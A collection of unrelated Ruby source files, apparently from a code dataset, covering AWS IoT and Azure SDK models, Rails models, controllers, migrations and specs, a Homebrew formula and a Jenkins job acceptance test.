UpdateThingGroupsForThingRequest < Struct.new( :thing_name, :thing_groups_to_add, :thing_groups_to_remove, :override_dynamic_groups) include Aws::Structure end class UpdateThingGroupsForThingResponse < Aws::EmptyStructure; end # The input for the UpdateThing operation. # # @note When making an API call, you may pass UpdateThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # thing_type_name: "ThingTypeName", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # expected_version: 1, # remove_thing_type: false, # } # # @!attribute [rw] thing_name # The name of the thing to update. # @return [String] # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # # @!attribute [rw] attribute_payload # A list of thing attributes, a JSON string containing name-value # pairs. For example: # # `\{"attributes":\{"name1":"value2"\}\}` # # This data is used to add new attributes or update existing # attributes. # @return [Types::AttributePayload] # # @!attribute [rw] expected_version # The expected version of the thing record in the registry. If the # version of the record in the registry does not match the expected # version specified in the request, the `UpdateThing` request is # rejected with a `VersionConflictException`. # @return [Integer] # # @!attribute [rw] remove_thing_type # Remove a thing type association. If **true**, the association is # removed. # @return [Boolean] # class UpdateThingRequest < Struct.new( :thing_name, :thing_type_name, :attribute_payload, :expected_version, :remove_thing_type) include Aws::Structure end # The output from the UpdateThing operation. # class UpdateThingResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateTopicRuleDestinationRequest # data as a hash: # # { # arn: "AwsArn", # required # status: "ENABLED", # required, accepts ENABLED, IN_PROGRESS, DISABLED, ERROR # } # # @!attribute [rw] arn # The ARN of the topic rule destination. # @return [String] # # @!attribute [rw] status # The status of the topic rule destination. Valid values are: # # IN\_PROGRESS # # : A topic rule destination was created but has not been confirmed. # You can set `status` to `IN_PROGRESS` by calling # `UpdateTopicRuleDestination`. Calling `UpdateTopicRuleDestination` # causes a new confirmation challenge to be sent to your # confirmation endpoint. # # ENABLED # # : Confirmation was completed, and traffic to this destination is # allowed. You can set `status` to `DISABLED` by calling # `UpdateTopicRuleDestination`. # # DISABLED # # : Confirmation was completed, and traffic to this destination is not # allowed. You can set `status` to `ENABLED` by calling # `UpdateTopicRuleDestination`. # # ERROR # # : Confirmation could not be completed, for example if the # confirmation timed out. You can call `GetTopicRuleDestination` for # details about the error. You can set `status` to `IN_PROGRESS` by # calling `UpdateTopicRuleDestination`. Calling # `UpdateTopicRuleDestination` causes a new confirmation challenge # to be sent to your confirmation endpoint. # @return [String] # class UpdateTopicRuleDestinationRequest < Struct.new( :arn, :status) include Aws::Structure end class UpdateTopicRuleDestinationResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass ValidateSecurityProfileBehaviorsRequest # data as a hash: # # { # behaviors: [ # required # { # name: "BehaviorName", # required # metric: "BehaviorMetric", # criteria: { # comparison_operator: "less-than", # accepts less-than, less-than-equals, greater-than, greater-than-equals, in-cidr-set, not-in-cidr-set, in-port-set, not-in-port-set # value: { # count: 1, # cidrs: ["Cidr"], # ports: [1], # }, # duration_seconds: 1, # consecutive_datapoints_to_alarm: 1, # consecutive_datapoints_to_clear: 1, # statistical_threshold: { # statistic: "EvaluationStatistic", # }, # }, # }, # ], # } # # @!attribute [rw] behaviors # Specifies the behaviors that, when violated by a device (thing), # cause an alert. # @return [Array<Types::Behavior>] # class ValidateSecurityProfileBehaviorsRequest < Struct.new( :behaviors) include Aws::Structure end # @!attribute [rw] valid # True if the behaviors were valid. # @return [Boolean] # # @!attribute [rw] validation_errors # The list of any errors found in the behaviors. # @return [Array<Types::ValidationError>] # class ValidateSecurityProfileBehaviorsResponse < Struct.new( :valid, :validation_errors) include Aws::Structure end # Information about an error found in a behavior specification. # # @!attribute [rw] error_message # The description of an error found in the behaviors. # @return [String] # class ValidationError < Struct.new( :error_message) include Aws::Structure end # An exception thrown when the version of an entity specified with the # `expectedVersion` parameter does not match the latest version in the # system. # # @!attribute [rw] message # The message for the exception. # @return [String] # class VersionConflictException < Struct.new( :message) include Aws::Structure end # The number of policy versions exceeds the limit. # # @!attribute [rw] message # The message for the exception. # @return [String] # class VersionsLimitExceededException < Struct.new( :message) include Aws::Structure end # Information about a Device Defender security profile behavior # violation. # # @!attribute [rw] violation_id # The ID of the violation event. # @return [String] # # @!attribute [rw] thing_name # The name of the thing responsible for the violation event. # @return [String] # # @!attribute [rw] security_profile_name # The name of the security profile whose behavior was violated. # @return [String] # # @!attribute [rw] behavior # The behavior which was violated. # @return [Types::Behavior] # # @!attribute [rw] metric_value # The value of the metric (the measurement). # @return [Types::MetricValue] # # @!attribute [rw] violation_event_type # The type of violation event. # @return [String] # # @!attribute [rw] violation_event_time # The time the violation event occurred. # @return [Time] # class ViolationEvent < Struct.new( :violation_id, :thing_name, :security_profile_name, :behavior, :metric_value, :violation_event_type, :violation_event_time) include Aws::Structure end end end
31.036353
217
0.57755
8709393aa1cce3c26de533d725e4cf9643e3aa5a
1,590
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::NetApp::Mgmt::V2019_11_01 module Models # # One property of operation, include metric specifications. # class ServiceSpecification include MsRestAzure # @return [Array<MetricSpecification>] Metric specifications of # operation. attr_accessor :metric_specifications # # Mapper for ServiceSpecification class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'ServiceSpecification', type: { name: 'Composite', class_name: 'ServiceSpecification', model_properties: { metric_specifications: { client_side_validation: true, required: false, serialized_name: 'metricSpecifications', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'MetricSpecificationElementType', type: { name: 'Composite', class_name: 'MetricSpecification' } } } } } } } end end end end
28.392857
72
0.530189
1a9ee54506744143605367bdbc39f4806b265a89
29
require 'mongoid_userstamp'
9.666667
27
0.827586
e87422d33ae8d351c25d4dc0d475f4466032261b
202
require File.join(File.dirname(__FILE__), '..', 'helper') class TestHarvestor < Test::Unit::TestCase context "an initialized harvestor" do should "test" do assert false end end end
16.833333
57
0.678218
26dae0d24bb17ff7f36ca75e4ecb42b8bd0e576d
1,120
# typed: true module Kuby module CertManager module DSL module Acme module V1 class ChallengeSpecSolverHttp01IngressPodTemplateSpecAffinityPodAffinityPreferredDuringSchedulingIgnoredDuringExecutionPodAffinityTermLabelSelectorMatchExpressions < ::KubeDSL::DSLObject value_field :operator value_field :values value_field :key validates :operator, field: { format: :string }, presence: true validates :values, field: { format: :string }, presence: false validates :key, field: { format: :string }, presence: true def serialize {}.tap do |result| result[:operator] = operator result[:values] = values result[:key] = key end end def kind_sym :challenge_spec_solver_http01_ingress_pod_template_spec_affinity_pod_affinity_preferred_during_scheduling_ignored_during_execution_pod_affinity_term_label_selector_match_expressions end end end end end end end
33.939394
196
0.639286
3943f56997fa4c2a1bfacfc63865dc2dafbd6a81
1,188
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20180303035838) do create_table "users", force: :cascade do |t| t.string "name" t.string "email" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.string "password_digest" t.string "remember_digest" t.boolean "admin", default: false t.index ["email"], name: "index_users_on_email", unique: true end end
44
86
0.71633
218cc7121745ff3161b85411dd6c3e4fed20bc71
636
# This migration comes from phcdevworks_press (originally 20200708231351) class CreatePhcdevworksPressReviewPostVersions < ActiveRecord::Migration[6.0] TEXT_BYTES = 1_073_741_823 def change create_table :phcdevworks_press_review_post_versions do |t| t.string :item_type, {:null=>false} t.integer :item_id, null: false t.string :event, null: false t.string :whodunnit t.text :object, limit: TEXT_BYTES t.datetime :created_at end add_index :phcdevworks_press_review_post_versions, %i(item_type item_id), :name => 'review_post_versions' end end
31.8
110
0.698113
796464b7b372e33081dc2c647022f4071d19f306
1,041
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2019_08_01 module Models # # Reference to container resource in remote resource provider. # class Container < SubResource include MsRestAzure # # Mapper for Container class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'Container', type: { name: 'Composite', class_name: 'Container', model_properties: { id: { client_side_validation: true, required: false, serialized_name: 'id', type: { name: 'String' } } } } } end end end end
23.659091
70
0.533141
62327f64e5099b69ae63d73105c1162227afc897
8,000
require 'spec_helper' describe API::API, api: true do include ApiHelpers let(:user) { create(:user) } let!(:project) { create(:empty_project, namespace: user.namespace ) } let!(:closed_milestone) { create(:closed_milestone, project: project) } let!(:milestone) { create(:milestone, project: project) } before { project.team << [user, :developer] } describe 'GET /projects/:id/milestones' do it 'returns project milestones' do get api("/projects/#{project.id}/milestones", user) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.first['title']).to eq(milestone.title) end it 'returns a 401 error if user not authenticated' do get api("/projects/#{project.id}/milestones") expect(response).to have_http_status(401) end it 'returns an array of active milestones' do get api("/projects/#{project.id}/milestones?state=active", user) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.length).to eq(1) expect(json_response.first['id']).to eq(milestone.id) end it 'returns an array of closed milestones' do get api("/projects/#{project.id}/milestones?state=closed", user) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.length).to eq(1) expect(json_response.first['id']).to eq(closed_milestone.id) end end describe 'GET /projects/:id/milestones/:milestone_id' do it 'returns a project milestone by id' do get api("/projects/#{project.id}/milestones/#{milestone.id}", user) expect(response).to have_http_status(200) expect(json_response['title']).to eq(milestone.title) expect(json_response['iid']).to eq(milestone.iid) end it 'returns a project milestone by iid' do get api("/projects/#{project.id}/milestones?iid=#{closed_milestone.iid}", user) expect(response.status).to eq 200 expect(json_response.size).to eq(1) expect(json_response.first['title']).to eq closed_milestone.title expect(json_response.first['id']).to eq closed_milestone.id end it 'returns 401 error if user not authenticated' do get api("/projects/#{project.id}/milestones/#{milestone.id}") expect(response).to have_http_status(401) end it 'returns a 404 error if milestone id not found' do get api("/projects/#{project.id}/milestones/1234", user) expect(response).to have_http_status(404) end end describe 'POST /projects/:id/milestones' do it 'creates a new project milestone' do post api("/projects/#{project.id}/milestones", user), title: 'new milestone' expect(response).to have_http_status(201) expect(json_response['title']).to eq('new milestone') expect(json_response['description']).to be_nil end it 'creates a new project milestone with description and due date' do post api("/projects/#{project.id}/milestones", user), title: 'new milestone', description: 'release', due_date: '2013-03-02' expect(response).to have_http_status(201) expect(json_response['description']).to eq('release') expect(json_response['due_date']).to eq('2013-03-02') end it 'returns a 400 error if title is missing' do post api("/projects/#{project.id}/milestones", user) expect(response).to have_http_status(400) end it 'returns a 400 error if params are invalid (duplicate title)' do post api("/projects/#{project.id}/milestones", user), title: milestone.title, description: 'release', due_date: '2013-03-02' expect(response).to have_http_status(400) end it 'creates a new project with reserved html characters' do post api("/projects/#{project.id}/milestones", user), title: 'foo & bar 1.1 -> 2.2' expect(response).to have_http_status(201) expect(json_response['title']).to eq('foo & bar 1.1 -> 2.2') expect(json_response['description']).to be_nil end end describe 'PUT /projects/:id/milestones/:milestone_id' do it 'updates a project milestone' do put api("/projects/#{project.id}/milestones/#{milestone.id}", user), title: 'updated title' expect(response).to have_http_status(200) expect(json_response['title']).to eq('updated title') end it 'removes a due date if nil is passed' do milestone.update!(due_date: "2016-08-05") put api("/projects/#{project.id}/milestones/#{milestone.id}", user), due_date: nil expect(response).to have_http_status(200) expect(json_response['due_date']).to be_nil end it 'returns a 404 error if milestone id not found' do put api("/projects/#{project.id}/milestones/1234", user), title: 'updated title' expect(response).to have_http_status(404) end end describe 'PUT /projects/:id/milestones/:milestone_id to close milestone' do it 'updates a project milestone' do put api("/projects/#{project.id}/milestones/#{milestone.id}", user), state_event: 'close' expect(response).to have_http_status(200) expect(json_response['state']).to eq('closed') end end describe 'PUT /projects/:id/milestones/:milestone_id to test observer on close' do it 'creates an activity event when an milestone is closed' do expect(Event).to receive(:create) put api("/projects/#{project.id}/milestones/#{milestone.id}", user), state_event: 'close' end end describe 'GET /projects/:id/milestones/:milestone_id/issues' do before do milestone.issues << create(:issue, project: project) end it 'returns project issues for a particular milestone' do get api("/projects/#{project.id}/milestones/#{milestone.id}/issues", user) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.first['milestone']['title']).to eq(milestone.title) end it 'returns a 401 error if user not authenticated' do get api("/projects/#{project.id}/milestones/#{milestone.id}/issues") expect(response).to have_http_status(401) end describe 'confidential issues' do let(:public_project) { create(:empty_project, :public) } let(:milestone) { create(:milestone, project: public_project) } let(:issue) { create(:issue, project: public_project) } let(:confidential_issue) { create(:issue, confidential: true, project: public_project) } before do public_project.team << [user, :developer] milestone.issues << issue << confidential_issue end it 'returns confidential issues to team members' do get api("/projects/#{public_project.id}/milestones/#{milestone.id}/issues", user) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.size).to eq(2) expect(json_response.map { |issue| issue['id'] }).to include(issue.id, confidential_issue.id) end it 'does not return confidential issues to team members with guest role' do member = create(:user) project.team << [member, :guest] get api("/projects/#{public_project.id}/milestones/#{milestone.id}/issues", member) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.size).to eq(1) expect(json_response.map { |issue| issue['id'] }).to include(issue.id) end it 'does not return confidential issues to regular users' do get api("/projects/#{public_project.id}/milestones/#{milestone.id}/issues", create(:user)) expect(response).to have_http_status(200) expect(json_response).to be_an Array expect(json_response.size).to eq(1) expect(json_response.map { |issue| issue['id'] }).to include(issue.id) end end end end
35.874439
101
0.67425
ac1b8a587277591a522d5f7cecab22ae17fd1706
1,845
class PrescriptionsController < ApplicationController before_action :set_prescription, only: [:show, :destroy] def show end def index end def new @prescription = Prescription.new @medication = Medication.new end def create @prescription = Prescription.new(prescription_params) add_to_doctor_and_patient set_create_params respond_to do |format| if @prescription.save format.html { redirect_to doctor_patients_path, notice: 'Prescription was successfully created.' } format.json { render action: 'show', status: :created, location: @prescription } else format.html { render action: 'new' } format.json { render json: @prescription.errors, status: :unprocessable_entity } end end end def medication_search keyword = params[:keyword] @medication_list = Medication.dropdown_hash(keyword).to_a respond_to { |format| format.js } end def destroy @scheduled_doses = @prescription.scheduled_doses @scheduled_doses.each { |dose| dose.destroy } @prescription.destroy redirect_to doctor_patients_path end private def set_create_params @prescription.medication_name = Medication.find_name_by_rxcui(params[:rxcui]) if params[:rxcui] @prescription.rxcui = params[:rxcui] @prescription.add_recurrence_rule(params[:interval], params[:occurrence], params[:days]) end def add_to_doctor_and_patient current_doctor.prescriptions << @prescription patient = Patient.find(params[:prescription][:patient_id]) patient.prescriptions << @prescription end def set_prescription @prescription = Prescription.find(params[:id]) end def prescription_params params.require(:prescription).permit(:start_datetime, :end_datetime, :medication_name, :image_url, :doctor_id, :rxcui) end end
27.954545
122
0.726287
21126b1da03f2972956da65d61e655cad83c42b2
2,501
require "active_support/core_ext/integer/time" Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # In the development environment your application's code is reloaded any time # it changes. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false # Do not eager load code on boot. config.eager_load = false # Show full error reports. config.consider_all_requests_local = true # Enable server timing config.server_timing = true # Enable/disable caching. By default caching is disabled. # Run rails dev:cache to toggle caching. if Rails.root.join("tmp/caching-dev.txt").exist? config.action_controller.perform_caching = true config.action_controller.enable_fragment_cache_logging = true config.cache_store = :memory_store config.public_file_server.headers = { "Cache-Control" => "public, max-age=#{2.days.to_i}" } else config.action_controller.perform_caching = false config.cache_store = :null_store end # Store uploaded files on the local file system (see config/storage.yml for options). config.active_storage.service = :local # Don't care if the mailer can't send. config.action_mailer.raise_delivery_errors = false config.action_mailer.perform_caching = false # Print deprecation notices to the Rails logger. config.active_support.deprecation = :log # Raise exceptions for disallowed deprecations. config.active_support.disallowed_deprecation = :raise # Tell Active Support which deprecation messages to disallow. config.active_support.disallowed_deprecation_warnings = [] # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load # Highlight code that triggered database queries in logs. config.active_record.verbose_query_logs = true # Suppress logger output for asset requests. config.assets.quiet = true # Raises error for missing translations. # config.i18n.raise_on_missing_translations = true # Annotate rendered view with file names. # config.action_view.annotate_rendered_view_with_filenames = true # Uncomment if you wish to allow Action Cable access from any origin. # config.action_cable.disable_request_forgery_protection = true # devise config.action_mailer.default_url_options = { host: 'localhost', port: 3000 } end
33.797297
87
0.768493
e8901cb9c48f078d53c2a4a0b2929d913b3656cf
594
class Bd < Formula homepage "https://github.com/vigneshwaranr/bd" head "https://github.com/vigneshwaranr/bd.git" depends_on "gnu-sed" => :optional def install bin.install "bd" bash_completion.install "bash_completion.d/bd" end def caveats; <<-EOS.undent Case-insensitive directory matching (using `-si`) requires GNU sed. BSD sed on OS X 10.8.2 won't work. Use `--with-gnu-sed` or install 'gnu-sed' separately. To use bd most conveniently add this to your shell config: alias bd='. bd -si' EOS end test do system "#{bin}/bd" end end
22.846154
71
0.666667
d52034ee1568300751863ad664a90e28b0e6a79c
569
require 'spec/spec_helper' describe "Premade Rake Tasks" do before :all do @file_name ="./lib/taglob/rake/tasks.rb" @rake = Rake::Application.new Rake.application = @rake end after :all do Rake.application = nil end it "should create a rake task to run test unit tests marked with tags" do load @file_name @rake.task_names_include?("test_tags").should be_true end it "should create a rake task to run test unit tests marked with tags" do load @file_name @rake.task_names_include?("spec_tags").should be_true end end
24.73913
75
0.702988
1c6f632e7cceadfc228cf5b66810863dc1d2467e
3,246
require 'sssd_conf/common' module MiqConfigSssdLdap class DomainError < StandardError; end class Domain < Common attr_accessor :active_directory def initialize(initial_settings) self.active_directory = determine_if_active_directory_configured(initial_settings) super(%w[entry_cache_timeout ldap_auth_disable_tls_never_use_in_production ldap_default_bind_dn ldap_default_authtok ldap_group_member ldap_group_name ldap_group_object_class ldap_group_search_base ldap_network_timeout ldap_pwd_policy ldap_schema ldap_tls_cacert ldap_tls_cacertdir ldap_uri ldap_user_extra_attrs ldap_user_gid_number ldap_user_name ldap_user_object_class ldap_user_search_base ldap_user_uid_number], initial_settings) end def entry_cache_timeout "600" end def ldap_auth_disable_tls_never_use_in_production initial_settings[:mode] != "ldaps" end def ldap_default_bind_dn initial_settings[:bind_dn] end def ldap_default_authtok initial_settings[:bind_pwd] end def ldap_group_member "member" end def ldap_group_name "cn" end def ldap_group_object_class active_directory? ? "group" : "groupOfNames" end def ldap_group_search_base initial_settings[:basedn] end def ldap_network_timeout "3" end def ldap_pwd_policy "none" end def ldap_schema active_directory? ? "AD" : "rfc2307bis" end def ldap_tls_cacert initial_settings[:tls_cacert] if initial_settings[:mode] == "ldaps" end def ldap_tls_cacertdir initial_settings[:mode] == "ldaps" ? initial_settings[:tls_cacertdir] : "/etc/openldap/cacerts/" end def ldap_uri initial_settings[:ldaphost].map do |host| "#{initial_settings[:mode]}://#{host}:#{initial_settings[:ldapport]}" end.join(",") end def ldap_user_extra_attrs USER_ATTRS.join(", ") end def ldap_user_gid_number active_directory? ? "primaryGroupID" : "gidNumber" end def ldap_user_name return if active_directory? case initial_settings[:user_type] when "dn-uid" "uid" when "dn-cn" "cn" else raise DomainError, "Invalid user_type ->#{initial_settings[:user_type]}<-" end end def ldap_user_object_class "person" end def ldap_user_search_base active_directory? ? initial_settings[:basedn] : initial_settings[:user_suffix] end def ldap_user_uid_number "uidNumber" end private def active_directory? active_directory end def determine_if_active_directory_configured(initial_settings) case initial_settings[:user_type] when "userprincipalname", "mail", "samaccountname" true when "dn-uid", "dn-cn" false else raise DomainError, "Invalid user_type ->#{initial_settings[:user_type]}<-" end end end end
22.699301
102
0.637092
7a98f79b1c188e0b8e6616f58cf598f7dedc5896
419
class CopyLessonNameToKeyTake2 < ActiveRecord::Migration[5.0] # We are doing this a second time because new lessons were created between the time the last # one was run and when we figured out there was another change we need to make to make # sure new lessons got their key value set. def up Lesson.all.each do |lesson| lesson.key = lesson.name lesson.save! end end def down end end
27.933333
94
0.71599
bf56c3d9d96524a51623ee2cb49feefd1ab4a63f
3,822
# frozen_string_literal: true require 'spec_helper_acceptance' describe 'jenkins::job' do let(:test_build_job) do example = <<~'EOS' <?xml version='1.0' encoding='UTF-8'?> <project> <actions/> <description>test job</description> <keepDependencies>false</keepDependencies> <properties/> <scm class="hudson.scm.NullSCM"/> <canRoam>true</canRoam> <disabled>false</disabled> <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding> <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding> <triggers/> <concurrentBuild>false</concurrentBuild> <builders> <hudson.tasks.Shell> <command>/usr/bin/true</command> </hudson.tasks.Shell> </builders> <publishers/> <buildWrappers/> </project> EOS # escape single quotes for puppet example.gsub("'", %q(\\\')) end context 'create' do it 'works with no errors' do pp = <<-EOS include jenkins # the historical assumption is that this will work without cli => true # set on the jenkins class jenkins::job { 'test-build-job': config => \'#{test_build_job}\', } EOS # Run it twice and test for idempotency apply(pp, catch_failures: true) # XXX idempotency is broken with at least jenkins 1.613 # apply(pp, :catch_changes => true) end describe file('/var/lib/jenkins/jobs/test-build-job/config.xml') do it { is_expected.to be_file } it { is_expected.to be_owned_by 'jenkins' } it { is_expected.to be_grouped_into 'jenkins' } it { is_expected.to be_mode 644 } it { is_expected.to contain '<description>test job</description>' } it { is_expected.to contain '<disabled>false</disabled>' } it { is_expected.to contain '<command>/usr/bin/true</command>' } end end context 'no replace' do it 'does not replace an existing job' do pp_create = <<-EOS include jenkins jenkins::job {'test-noreplace-job': config => \'#{test_build_job.gsub('<description>test job</description>', '<description>do not overwrite me</description>')}\', } EOS pp_update = <<-EOS include jenkins jenkins::job {'test-noreplace-job': config => \'#{test_build_job}\', replace => false, } EOS apply(pp_create, catch_failures: true) apply(pp_update, catch_failures: true) end describe file('/var/lib/jenkins/jobs/test-noreplace-job/config.xml') do it { is_expected.to be_file } it { is_expected.to be_owned_by 'jenkins' } it { is_expected.to be_grouped_into 'jenkins' } it { is_expected.to be_mode 644 } it { is_expected.to contain '<description>do not overwrite me</description>' } end end context 'delete' do it 'works with no errors' do # create a test job so it can be deleted; job creation is not what # we're intending to be testing here pp = <<-EOS include jenkins jenkins::job { 'test-build-job': config => \'#{test_build_job}\', } EOS apply(pp) # test job deletion pp = <<-EOS include jenkins jenkins::job { 'test-build-job': ensure => 'absent', config => \'#{test_build_job}\', } EOS # Run it twice and test for idempotency apply(pp, catch_failures: true) # XXX idempotency is broken with at least jenkins 1.613 # apply(pp, :catch_changes => true) end describe file('/var/lib/jenkins/jobs/test-build-job/config.xml') do # XXX Serverspec::Type::File doesn't support exists? it { is_expected.not_to be_file } end end end
30.094488
136
0.611983
f74444bb1aaaed532237945e1cfe09b045725c72
5,231
# frozen_string_literal: true class User < ApplicationRecord # Include default devise modules. Others available are: # :lockable, :timeoutable, :trackable and :omniauthable devise :invitable, :database_authenticatable, :registerable, :confirmable, :recoverable, :rememberable, :validatable acts_as_commontator acts_as_taggable_on :committees # includes include Users::Formating include Users::Validating # Pre and Post processing before_validation :format_fields, on: %i[create update] after_invitation_accepted :ask_for_phone_number after_invitation_accepted :format_fields # Enums enum status: { invited: 0, missing_phone_nr: 1, registered_with_no_pic: 2, registered: 3, archived: 4 } enum role: { player: 0, admin_com: 1, admin: 2, other: 3 } # Relationships # ===================== has_many :pictures, as: :imageable, dependent: :destroy has_many :courses, as: :courseable has_many :vote_opinions has_many :vote_dates has_many :polls, foreign_key: :owner_id belongs_to :committee # ===================== # scope :inactive, # lambda { # where(role: :other).or(where(status: %i[setup archived])) # } scope :active, lambda { where(status: %i[invited registered]).where.not(role: :other) } scope :active_admins, -> { active.where(role: :admin) } scope :active_count, -> { active.count } # ===================== # Validations # ===================== validates :email, presence: true, length: { maximum: 255, minimum: 5 }, format: { with: VALID_EMAIL_REGEX }, uniqueness: { case_sensitive: false } validates :uid, uniqueness: { case_sensitive: true }, allow_nil: true validates :bio, length: { maximum: 250 } # ===================== # -- PUBLIC --- # ===================== def self.company_mails User.active.pluck(:email) end def has_downloaded_his_picture? Picture.where(imageable_id: id) .where(imageable_type: 'User') .present? end def last_connexion_at return former_connexion_at if former_connexion_at.present? last_sign_in_at.nil? ? (Time.zone.now - 100.years) : last_sign_in_at end def full_name text = first_and_last_name text = "#{I18n.t('users.deleted_name')} - #{text}" if archived? text.html_safe end def is_commontator true end def update_status(user_params) if invited? && user_params[:cell_phone_nr].blank? missing_phone_nr! elsif (invited? || missing_phone_nr?) && user_params[:cell_phone_nr].present? registered_with_no_pic! elsif registered_with_no_pic? && has_downloaded_his_picture? registered! end self end def welcome_mail UserMailer.welcome_mail(self).deliver_now end def send_promotion_mail(changes) UserMailer.send_promotion_mail(self, changes).deliver_now end def restricted_statuses archived? ? ['missing_phone_nr', 'archived'] : [status.to_s, 'archived'] end def hsl_user_color1 color.split(';').first end def hsl_user_color2 color.split(';').second end def self.committee_names_list User.committee_counts.pluck(:name) end def get_committee_changes(old_user_committees) lost_committees = old_user_committees - committee_list gained_committees = committee_list - old_user_committees { lost_committees: lost_committees, gained_committees: gained_committees, changed: !(lost_committees.empty? && gained_committees.empty?) } end def inform_promoted_person(current_user, old_user, old_user_committees) return 'users.updated' if current_user == self || status == 'archived' committy_changes = get_committee_changes(old_user_committees) committee_changed = committy_changes[:changed] muted_promotion = promotions_to_mute(old_user) role_changed = old_user.role != role if muted_promotion send_promotion_mail(committy_changes) if committee_changed elsif role_changed && !committee_changed send_promotion_mail(role: status) elsif (role_changed && committee_changed) || old_user.status == 'archived' send_promotion_mail(committy_changes.merge(role: role)) elsif committee_changed send_promotion_mail(committy_changes) end # messaging flash_promotion_with((role_changed && !muted_promotion) || committee_changed) end def self.active_count User.active.count end protected def promotions_to_mute(old_user) show_promotion = old_user.status == 'archived' || more_privileges?(old_user) !show_promotion end def flash_promotion_with(changes) changes ? 'users.promoted' : 'users.promoted_muted' end def more_privileges?(previous_user) return true if previous_user.role == 'other' User.roles[role] >= User.roles[previous_user.role] end def format_fields self.lastname = lastname.upcase if lastname.present? self.email = email.downcase if email.present? self.role ||= 'player' self.color ||= pick_color phone_number_format end def ask_for_piask_for_phone_numbercture missing_phone_nr! end end
26.553299
81
0.682852
b9690bd0ad5d411047921a80b5711620cf8db25a
1,855
=begin #Kubernetes #No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.13.4 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.2.3 =end require 'spec_helper' require 'json' require 'date' # Unit tests for Kubernetes::V1ConfigMapNodeConfigSource # Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen) # Please update as you see appropriate describe 'V1ConfigMapNodeConfigSource' do before do # run before each test @instance = Kubernetes::V1ConfigMapNodeConfigSource.new end after do # run after each test end describe 'test an instance of V1ConfigMapNodeConfigSource' do it 'should create an instance of V1ConfigMapNodeConfigSource' do expect(@instance).to be_instance_of(Kubernetes::V1ConfigMapNodeConfigSource) end end describe 'test attribute "kubelet_config_key"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "name"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "namespace"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "resource_version"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "uid"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
27.686567
103
0.735849
61e34633b27b62d968e3c22359a883219d703d63
1,602
class PictureUploader < CarrierWave::Uploader::Base # Include RMagick or MiniMagick support: # include CarrierWave::RMagick include CarrierWave::MiniMagick process resize_to_limit: [400, 400] if Rails.env.production? storage :fog else storage :file end # Choose what kind of storage to use for this uploader: storage :file # storage :fog # Override the directory where uploaded files will be stored. # This is a sensible default for uploaders that are meant to be mounted: def store_dir "uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}" end # Provide a default URL as a default if there hasn't been a file uploaded: # def default_url(*args) # # For Rails 3.1+ asset pipeline compatibility: # # ActionController::Base.helpers.asset_path("fallback/" + [version_name, "default.png"].compact.join('_')) # # "/images/fallback/" + [version_name, "default.png"].compact.join('_') # end # Process files as they are uploaded: # process scale: [200, 300] # # def scale(width, height) # # do something # end # Create different versions of your uploaded files: # version :thumb do # process resize_to_fit: [50, 50] # end # Add a white list of extensions which are allowed to be uploaded. # For images you might use something like this: def extension_whitelist %w(jpg jpeg gif png) end # Override the filename of the uploaded files: # Avoid using model.id or version_name here, see uploader/store.rb for details. # def filename # "something.jpg" if original_filename # end end
28.105263
112
0.698502
7a361da4898dba65b88bd5c5011bfb622b6311fe
756
require 'spec_helper' describe HeadChef::List do describe 'ClassMethods' do let(:environment_name) { 'environment' } let(:environment_resource) { double('Ridley::EnvironmentResouce') } let(:environment) { double('Ridley::EnvironmentObject') } before(:each) do HeadChef.stub_chain(:chef_server, :environment).and_return(environment_resource) allow(environment_resource).to receive(:find).and_return(environment) allow(environment).to receive(:cookbook_versions).and_return([]) end after(:each) do described_class.list(environment) end describe '::list' do it 'reads chef environment' do expect(environment_resource).to receive(:find).with(environment) end end end end
28
86
0.703704
2629839c87f5bffecb9871c7f22ccada845b1b30
830
